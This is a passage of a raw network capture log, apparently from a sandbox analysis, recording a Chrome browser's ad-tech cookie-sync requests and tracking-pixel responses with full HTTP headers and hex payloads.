2024-04-27 22:42:28 UTC	1297	OUT	GET /cksync.php?cs=8&vsid=3572593249104590000V10&type=pba&refUrl=&vid=42577288383572593249104590000V10&axid_e=&ovsid=EE7B59FE-9DAF-415D-A93C-7AF48020DD7B HTTP/1.1 Host: contextual.media.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-Dest: iframe Referer: https://ads.pubmatic.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: usp_status=1; visitor-id=3572593249104590000V10; data-rk=1977432098227636774~~8; data-r=LVIOSA1W-7-6DCM~~1; data-pbs=setstatuscode~~1; data-so=2d729954-b637-472c-acf0-d931fcda5d4a~~8; data-mf=786797b7-bf38-456a-a874-4aad6fb5186b~~1; data-g=CAESEPKex8KgiD5UyK1lepusKL4~~8; data-o=0c862afa-665c-0e9e-22ac-a733d256e22a~~8; data-c=3a1484ea-90ac-4bdd-895c-934bad280353~~1; data-c-ts=1714257737; data-xu=o2ksvWLN1S0QKf5~~8; data-co=AAACDi8HYa-cRgMTW_ICAAAAAAA~~8
2024-04-27 22:42:28 UTC	646	IN	HTTP/1.1 200 OK Server: Apache Content-Length: 57 Content-Type: image/gif Set-Cookie: data-pba=EE7B59FE-9DAF-415D-A93C-7AF48020DD7B~~8;Expires=Sun, 27 Apr 2025 22:42:28 GMT;path=/;domain=.media.net; sameSite=none; secure=true p3p: CP="NON DSP COR NID CUR ADMa DEVo TAI PSA PSDo HIS OUR BUS COM NAV INT STA" P3P: CP: NON DSP COR NID CUR ADMa DEVo TAI PSA PSDo HIS OUR BUS COM NAV INT STA Strict-Transport-Security: max-age=31536000 Alt-Svc: h3=":443"; ma=93600 x-mnet-hl2: E Expires: Sat, 27 Apr 2024 22:42:28 GMT Cache-Control: max-age=0, no-cache, no-store Pragma: no-cache Date: Sat, 27 Apr 2024 22:42:28 GMT Connection: close
2024-04-27 22:42:28 UTC	43	IN	Data Raw: 47 49 46 38 37 61 01 00 01 00 80 00 00 00 00 00 ff ff ff 21 f9 04 04 0a 00 00 00 2c 00 00 00 00 01 00 01 00 00 02 02 4c 01 00 3b Data Ascii: GIF87a!,L;
2024-04-27 22:42:28 UTC	14	IN	Data Raw: 20 20 20 20 20 0a 20 20 20 20 20 20 20 20 Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
557	192.168.2.4	50439	216.200.232.253	443	1508	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-27 22:42:28 UTC	923	OUT	GET /sync/img?mt_exid=3&gdpr=0&gdpr_consent=&redir=https%3A%2F%2Fsimage2.pubmatic.com%2FAdServer%2FPug%3Fvcode%3Dbz0yJnR5cGU9MSZjb2RlPTM2MiZ0bD0xMjk2MDA%3D%3D%26piggybackCookie%3Duid%3A%5BMM_UUID%5D HTTP/1.1 Host: sync.mathtag.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-Dest: iframe Referer: https://ads.pubmatic.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: uuid=f26e662d-7f4d-4d00-b052-4dd564d435a2
2024-04-27 22:42:28 UTC	561	IN	HTTP/1.1 302 Moved Temporarily Date: Sat, 27 Apr 2024 22:42:28 GMT Content-Type: image/gif Content-Length: 0 Connection: close Access-Control-Allow-Origin: * Server: MT3 1549 cea2cde master ord ord-pixel-x26 config_version:"68" Cache-Control: no-cache P3P: CP="NOI DSP COR NID CURa ADMa DEVa PSAa PSDa OUR BUS COM INT OTC PUR STA" location: https://simage2.pubmatic.com/AdServer/Pug?vcode=bz0yJnR5cGU9MSZjb2RlPTM2MiZ0bD0xMjk2MDA==&piggybackCookie=uid:f26e662d-7f4d-4d00-b052-4dd564d435a2&gdpr=0&gdpr_consent= Expires: Sat, 27 Apr 2024 22:42:27 GMT

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
558	192.168.2.4	50438	82.145.213.8	443	1508	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-27 22:42:28 UTC	758	OUT	GET /pub/sync?pubid=pub8730968190912 HTTP/1.1 Host: t.adx.opera.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-Dest: iframe Referer: https://ads.pubmatic.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: UID=OPU690312adc0a749a7834a32518588f9ba
2024-04-27 22:42:28 UTC	809	IN	HTTP/1.1 302 Found Server: Tengine Date: Sat, 27 Apr 2024 22:42:28 GMT Content-Type: text/html; charset=utf-8 Content-Length: 166 Connection: close Access-Control-Allow-Credentials: true Access-Control-Allow-Headers: Content-Type, Content-Length, Accept-Encoding, X-CSRF-Token, Authorization, accept, origin, Cache-Control, X-Requested-With Access-Control-Allow-Methods: POST, GET Access-Control-Allow-Origin: * Cache-Control: no-cache, no-store, must-revalidate Expires: Mon, 01 Jan 1990 00:00:00 GMT Location: https://image2.pubmatic.com/AdServer/Pug?vcode=bz0yJnR5cGU9MSZjb2RlPTM0ODkmdGw9NDMyMDA=&piggybackCookie=OPU690312adc0a749a7834a32518588f9ba Pragma: no-cache Set-Cookie: UID=OPU690312adc0a749a7834a32518588f9ba; Path=/; Domain=adx.opera.com; Max-Age=31536000; Secure; SameSite=None
2024-04-27 22:42:28 UTC	166	IN	Data Raw: 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 69 6d 61 67 65 32 2e 70 75 62 6d 61 74 69 63 2e 63 6f 6d 2f 41 64 53 65 72 76 65 72 2f 50 75 67 3f 76 63 6f 64 65 3d 62 7a 30 79 4a 6e 52 35 63 47 55 39 4d 53 5a 6a 62 32 52 6c 50 54 4d 30 4f 44 6b 6d 64 47 77 39 4e 44 4d 79 4d 44 41 3d 26 61 6d 70 3b 70 69 67 67 79 62 61 63 6b 43 6f 6f 6b 69 65 3d 4f 50 55 36 39 30 33 31 32 61 64 63 30 61 37 34 39 61 37 38 33 34 61 33 32 35 31 38 35 38 38 66 39 62 61 22 3e 46 6f 75 6e 64 3c 2f 61 3e 2e 0a 0a Data Ascii: <a href="https://image2.pubmatic.com/AdServer/Pug?vcode=bz0yJnR5cGU9MSZjb2RlPTM0ODkmdGw9NDMyMDA=&piggybackCookie=OPU690312adc0a749a7834a32518588f9ba">Found</a>.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
559	192.168.2.4	50431	35.212.133.238	443	1508	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-27 22:42:28 UTC	831	OUT	GET /sync?dsp_id=480&ssp=themediagrid&user_id=1476058396850158061&&gdpr=&gdpr_consent= HTTP/1.1 Host: x.bidswitch.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ssp-sync.criteo.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: tuuid=22ec7773-8e4b-4639-873b-a22ce7444b56; c=1714257731; custom_data=ksqvgV83WEJQamtiZXNGYTQwT2NpRmJBcjQyRFBWOG9BMkhlSHAlMkZ1ckREM3BkQ00lM0Q; tuuid_lu=1714257737
2024-04-27 22:42:28 UTC	187	IN	HTTP/1.1 200 OK Server: nginx Date: Sat, 27 Apr 2024 22:42:28 GMT Content-Type: image/gif Content-Length: 43 Connection: close Cache-Control: no-cache, no-store, must-revalidate
2024-04-27 22:42:28 UTC	43	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 80 00 00 00 00 00 00 00 00 21 f9 04 01 00 00 00 00 2c 00 00 00 00 01 00 01 00 00 02 02 44 01 00 3b Data Ascii: GIF89a!,D;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
560	192.168.2.4	50448	35.212.133.238	443	1508	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-27 22:42:28 UTC	799	OUT	GET /sync?ssp=medianet&gdpr=0&gdpr_consent=&gdpr_pd=1 HTTP/1.1 Host: x.bidswitch.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://contextual.media.net/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: tuuid=22ec7773-8e4b-4639-873b-a22ce7444b56; c=1714257731; custom_data=ksqvgV83WEJQamtiZXNGYTQwT2NpRmJBcjQyRFBWOG9BMkhlSHAlMkZ1ckREM3BkQ00lM0Q; tuuid_lu=1714257737
2024-04-27 22:42:28 UTC	304	IN	HTTP/1.1 302 Moved Temporarily Server: nginx Date: Sat, 27 Apr 2024 22:42:28 GMT Content-Length: 0 Connection: close Cache-Control: no-cache, no-store, must-revalidate Location: //ads.avct.cloud/getuid?url=%2F%2Fx.bidswitch.net%2Fsync%3Fdsp_id%3D59%26user_id%3D%7B%7BUUID%7D%7D%26ssp%3Dmedianet

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
561	192.168.2.4	50465	69.194.240.13	443	1508	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-27 22:42:28 UTC	943	OUT	GET /usersync2/rmp1r1?sub=medianet&redir=https%3A%2F%2Fcontextual.media.net%2Fcksync.php%3Fcs%3D9%26vsid%3D3572593249104590000V10%26type%3Dr1%26refUrl%3D%26vid%3D42577364233572593249104590000V10%26axid_e%3D%26ovsid%3D%5BRX_UUID%5D HTTP/1.1 Host: sync.1rx.io Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://contextual.media.net/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: _rxuuid=%7B%22rx_uuid%22%3A%22RX-915945b2-6af3-4975-9839-febe73c73a74-005%22%2C%22zdxidn%22%3A%222069.28%22%2C%22nxtrdr%22%3Afalse%7D
2024-04-27 22:42:28 UTC	834	IN	HTTP/1.1 302 Found date: Sat, 27 Apr 2024 22:42:30 GMT content-type: text/html transfer-encoding: chunked cache-control: no-store, no-cache, must-revalidate expires: 0 pragma: no-cache set-cookie: _rxuuid=%7B%22rx_uuid%22%3A%22RX-915945b2-6af3-4975-9839-febe73c73a74-005%22%2C%22zdxidn%22%3A%222057.4%22%2C%22nxtrdr%22%3A%22https%3A%2F%2Fcontextual.media.net%2Fcksync.php%3Fcs%3D9%26vsid%3D3572593249104590000V10%26type%3Dr1%26refUrl%3D%26vid%3D42577364233572593249104590000V10%26axid_e%3D%26ovsid%3D%5BRX_UUID%5D%22%7D; path=/; expires=Sun, 27 Apr 2025 22:42:30 GMT; domain=.1rx.io; samesite=none; secure; httponly p3p: CP="This is not a P3P policy! See https://www.rhythmone.com/p3p to learn why" location: https://ad.turn.com/r/cs?pid=45&rndcb=4429862524 etag: RX915945b26af349759839febe73c73a74005 connection: close
2024-04-27 22:42:28 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
562	192.168.2.4	50443	34.199.195.87	443	1508	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-27 22:42:28 UTC	655	OUT	GET /api/v1/dsync/Martin?exid=EE7B59FE-9DAF-415D-A93C-7AF48020DD7B&gdpr=0&gdpr_consent= HTTP/1.1 Host: crb.kargo.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ads.pubmatic.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-27 22:42:28 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 27 Apr 2024 22:42:28 GMT Content-Type: image/gif Content-Length: 43 Connection: close Cache-Control: no-cache, no-store, no-transform, must-revalidate, private, max-age=0 Expires: Thu, 01 Jan 1970 00:00:00 GMT Pragma: no-cache Set-Cookie: ktcid=9fc8f280-209d-0df5-574d-cd82b8ec48da; Path=/; Domain=kargo.com; Expires=Sun, 27 Apr 2025 22:42:28 GMT; Max-Age=31536000; HttpOnly; Secure; SameSite=None Vary: Origin X-Accel-Expires: 0
2024-04-27 22:42:28 UTC	43	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 80 ff 00 c0 c0 c0 00 00 00 21 f9 04 01 00 00 00 00 2c 00 00 00 00 01 00 01 00 00 02 02 44 01 00 3b Data Ascii: GIF89a!,D;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
563	192.168.2.4	50451	34.36.216.150	443	1508	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-27 22:42:28 UTC	688	OUT	GET /dmp/pixelSync?nid=3&gdpr=0&gdpr_consent= HTTP/1.1 Host: pixel-sync.sitescout.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ads.pubmatic.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: ssi=14f55726-f4ad-421d-bd2f-9c7bac51541e#1714257737901
2024-04-27 22:42:28 UTC	840	IN	HTTP/1.1 302 Found cache-control: max-age=0,no-cache,no-store pragma: no-cache expires: Tue, 11 Oct 1977 12:34:56 GMT p3p: CP="NON DEVa PSAa PSDa OUR NOR NAV",policyref="/w3c/p3p.xml" set-cookie: ssi=14f55726-f4ad-421d-bd2f-9c7bac51541e#1714257737901; Domain=.sitescout.com; Expires=Sun, 27-Apr-2025 22:42:28 GMT; Path=/; Secure; SameSite=None set-cookie: _ssuma=eyI0NSI6MTcxNDI1Nzc0ODc5M30; Domain=.sitescout.com; Expires=Mon, 27-May-2024 22:42:28 GMT; Path=/; Secure; SameSite=None location: https://image2.pubmatic.com/AdServer/Pug?vcode=bz0yJnR5cGU9MSZjb2RlPTE5NjkmdGw9MTI5NjAw&piggybackCookie=14f55726-f4ad-421d-bd2f-9c7bac51541e-662d7f49-5553&gdpr=0&gdpr_consent= Content-Length: 0 date: Sat, 27 Apr 2024 22:42:28 GMT server: A via: 1.1 google Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
564	192.168.2.4	50442	18.205.199.174	443	1508	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-27 22:42:28 UTC	659	OUT	GET /insync?vxii_pid=10067&vxii_pdid=EE7B59FE-9DAF-415D-A93C-7AF48020DD7B&gdpr=0&gdpr_consent= HTTP/1.1 Host: thrtle.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ads.pubmatic.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-27 22:42:28 UTC	570	IN	HTTP/1.1 302 Found Date: Sat, 27 Apr 2024 22:42:28 GMT Content-Type: text/html; charset=utf-8 Content-Length: 211 Connection: close Location: https://thrtle.com/insync?gdpr=0&gdpr_consent=&vxii_pdid=EE7B59FE-9DAF-415D-A93C-7AF48020DD7B&vxii_pid=12&vxii_pid1=10067&vxii_rcid=b6507934-0177-4144-a953-754c3fe638d2 P3p: CP="NOI OUR BUS UNI COM NAV" Set-Cookie: mc=eyJpZCI6ImI2NTA3OTM0LTAxNzctNDE0NC1hOTUzLTc1NGMzZmU2MzhkMiIsImwiOjE3MTQyNTc3NDg3OTEsInQiOjF9; Path=/; Domain=thrtle.com; Expires=Sat, 27 Apr 2024 22:42:28 GMT; Max-Age=17280000; Secure; SameSite=None
2024-04-27 22:42:28 UTC	211	IN	Data Raw: 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 74 68 72 74 6c 65 2e 63 6f 6d 2f 69 6e 73 79 6e 63 3f 67 64 70 72 3d 30 26 61 6d 70 3b 67 64 70 72 5f 63 6f 6e 73 65 6e 74 3d 26 61 6d 70 3b 76 78 69 69 5f 70 64 69 64 3d 45 45 37 42 35 39 46 45 2d 39 44 41 46 2d 34 31 35 44 2d 41 39 33 43 2d 37 41 46 34 38 30 32 30 44 44 37 42 26 61 6d 70 3b 76 78 69 69 5f 70 69 64 3d 31 32 26 61 6d 70 3b 76 78 69 69 5f 70 69 64 31 3d 31 30 30 36 37 26 61 6d 70 3b 76 78 69 69 5f 72 63 69 64 3d 62 36 35 30 37 39 33 34 2d 30 31 37 37 2d 34 31 34 34 2d 61 39 35 33 2d 37 35 34 63 33 66 65 36 33 38 64 32 22 3e 46 6f 75 6e 64 3c 2f 61 3e 2e 0a 0a Data Ascii: <a href="https://thrtle.com/insync?gdpr=0&gdpr_consent=&vxii_pdid=EE7B59FE-9DAF-415D-A93C-7AF48020DD7B&vxii_pid=12&vxii_pid1=10067&vxii_rcid=b6507934-0177-4144-a953-754c3fe638d2">Found</a>.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
565	192.168.2.4	50453	34.200.65.202	443	1508	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-27 22:42:28 UTC	1159	OUT	GET /ups/58294/sync?_origin=1&uid=ea6ec0ec-1536-0e37-12c4-1857f71a849f HTTP/1.1 Host: ups.analytics.yahoo.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://us-u.openx.net/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: A3=d=AQABBCp_LWYCELfUYVcRibNp0N36MpJTaGMFEgEBAQHQLmY3Ztwv0iMA_eMAAA&S=AQAAAhY0ZsSOfV2Vw8bUevS_J-s; cmp=t=1714257709&j=0&u=1YNN; gpp=DBAA; gpp_sid=-1; axids=gam=y-YhU_4VlE2uKeNX7PHM8XonrbkezQHb0Z~A&dv360=eS1wZjlTZkxORTJ1RlFnUHQ3U1kxNlcuZkxvcHoyVTNzQX5B&ydsp=y-jbTZJGZE2uLrRZGRFNskE6ZV5Anw2j42~A&tbla=y-JBfSm7FE2uKAvLz8j1WHQk70S7DkHdso~A; tbla_id=5a70d3d2-b192-4103-be6f-b86fec483fbc-tuctd2704b2; IDSYNC="19ac~2i3y:19aj~2i3y:19bn~2i3y:19bu~2i3y:19cu~2i3y:19cw~2i3y:19e0~2i3y:19e7~2i3y:19ea~2i3y:18z8~2i3y"
2024-04-27 22:42:28 UTC	711	IN	HTTP/1.1 204 No Content Date: Sat, 27 Apr 2024 22:42:28 GMT Strict-Transport-Security: max-age=31536000 Set-Cookie: IDSYNC="19ac~2i3y:19aj~2i3y:19bn~2i3y:19bu~2i3y:19cu~2i3y:19cw~2i3y:19e0~2i3y:19e7~2i3y:19ea~2i3y:18z8~2i3y:18za~2i3y";Version=1;Domain=.analytics.yahoo.com;Path=/;Max-Age=31536000;Expires=Sun, 27-Apr-2025 22:42:28 GMT;Secure;SameSite=None P3P: CP=NOI DSP COR LAW CURa DEVa TAIa PSAa PSDa OUR BUS UNI COM NAV Age: 0 Connection: close Server: ATS/9.1.10.112 Set-Cookie: A3=d=AQABBCp_LWYCELfUYVcRibNp0N36MpJTaGMFEgEBAQHQLmY3Ztwv0iMA_eMAAA&S=AQAAAhY0ZsSOfV2Vw8bUevS_J-s; Expires=Mon, 28 Apr 2025 04:42:28 GMT; Max-Age=31557600; Domain=.yahoo.com; Path=/; SameSite=None; Secure; HttpOnly

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
566	192.168.2.4	50457	35.244.159.8	443	1508	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-27 22:42:28 UTC	777	OUT	GET /w/1.0/sd?id=540245193&val=EE7B59FE-9DAF-415D-A93C-7AF48020DD7B&gdpr=0&gdpr_consent= HTTP/1.1 Host: us-u.openx.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ads.pubmatic.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: receive-cookie-deprecation=1; i=17067c3c-64db-0b89-1b35-11b5049e430b\|1714257724; pd=v2\|1714257725\|vMgavPkWgyiK
2024-04-27 22:42:28 UTC	366	IN	HTTP/1.1 200 OK Vary: Accept Server: OXGW/0.0.0 Pragma: no-cache P3P: CP="CUR ADM OUR NOR STA NID" Expires: Mon, 26 Jul 1997 05:00:00 GMT Date: Sat, 27 Apr 2024 22:42:28 GMT Content-Type: image/gif Content-Length: 43 Cache-Control: private, max-age=0, no-cache Via: 1.1 google Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2024-04-27 22:42:28 UTC	43	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 80 00 00 ff ff ff 00 00 00 21 f9 04 00 00 00 00 00 2c 00 00 00 00 01 00 01 00 00 02 02 44 01 00 3b Data Ascii: GIF89a!,D;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
567	192.168.2.4	50450	44.214.122.172	443	1508	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-27 22:42:28 UTC	820	OUT	GET /merge?pid=76&3pid=a8449da5-27e8-0e73-065f-6ffb18084fa4&gdpr=0&gdpr_consent=&gpp=DBAA&gpp_sid=-1 HTTP/1.1 Host: ce.lijit.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://us-u.openx.net/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: ljt_reader=IkESATZH81_FapvzRxGQQ8ru; ljtrtbexp=eJxdzDEOACAIA8C%2FMDtYQEC%2FZvy7iZMwXtN2E4wWHEPNRdBIZ3ZIsWajlwL7s4bxeIdSB5GDydlu%2F8G5R8IgLQ%3D%3D
2024-04-27 22:42:28 UTC	862	IN	HTTP/1.1 200 OK Date: Sat, 27 Apr 2024 22:42:28 GMT Content-Type: image/gif Content-Length: 43 Connection: close Expires: Fri, 20 Mar 2009 00:00:00 GMT Set-Cookie: _ljtrtb_76=a8449da5-27e8-0e73-065f-6ffb18084fa4; Path=/; Domain=.lijit.com; Expires=Sun, 27-Apr-2025 22:42:28 GMT; Max-Age=31536000;Secure;SameSite=None Set-Cookie: ljt_reader=IkESATZH81_FapvzRxGQQ8ru; Path=/; Domain=.lijit.com; Expires=Sun, 27-Apr-2025 22:42:28 GMT; Max-Age=31536000;Secure;SameSite=None Set-Cookie: ljtrtbexp=eJxdzDEOACAIA8C%2FMDtYQEC%2FZvy7iZMwXtN2E4wWHEPNRdBIZ3ZIsWajlwL7s4bxeIdSB5GDydlu%2F8G5R8IgLQ%3D%3D; Path=/; Domain=.lijit.com; Expires=Sun, 27-Apr-2025 22:42:28 GMT; Max-Age=31536000;Secure;SameSite=None Cache-Control: private, no-cache, no-store, must-revalidate, proxy-revalidate, max-age=0, s-maxage=0 Pragma: no-cache P3P: CP="CUR ADM OUR NOR STA NID"
2024-04-27 22:42:28 UTC	43	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 80 00 00 ff ff ff 00 00 00 21 f9 04 01 00 00 00 00 2c 00 00 00 00 01 00 01 00 00 02 02 44 01 00 3b Data Ascii: GIF89a!,D;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
568	192.168.2.4	50452	34.111.113.62	443	1508	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-27 22:42:28 UTC	760	OUT	GET /idsync/ex/receive?partner_id=1955&partner_device_id=c2d43099-965b-09f9-0b02-418b5335b1fa HTTP/1.1 Host: pixel.tapad.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://us-u.openx.net/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: TapAd_TS=1714257737362; TapAd_DID=da33c8c4-591f-41d2-a1ee-393c2b417291; 